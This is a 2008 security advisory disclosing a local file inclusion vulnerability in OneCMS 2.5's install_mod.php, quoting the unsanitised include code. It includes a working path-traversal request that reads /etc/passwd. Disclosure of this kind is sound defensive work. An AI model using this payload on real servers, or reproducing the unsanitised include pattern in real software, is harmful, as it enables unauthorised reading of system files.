[DSECRG-08-025] Local File Include in OneCMS 2.5

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-025

Application: OneCMS
Versions Affected: 2.5
Vendor URL: http://www.insanevisions.com/
Bug: Local File Include
Exploits: YES
Reported: 26.03.2008
Vendor Response: NONE
Solution: NONE
Date of Public Advisory: 23.05.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Local File Include vulnerability found in script install_mod.php

Code
****
#################################################

 $mod = $_GET['load'];
 $filexp = explode(".", $mod);
 $filetype = $filexp[1];
 $file = $filexp[0];
 $file2 = "mods/$mod";

 if (!is_numeric($mod)) { // makes sure that the user isnt entering a #
 if ($filetype == "php") {
 if ($_GET['act'] == "") {
 echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";
 }
 if ($_GET['act'] == "go") {
 include ($file2);
 ...

#################################################

Example:

http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd

About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)
Received on May 23 2008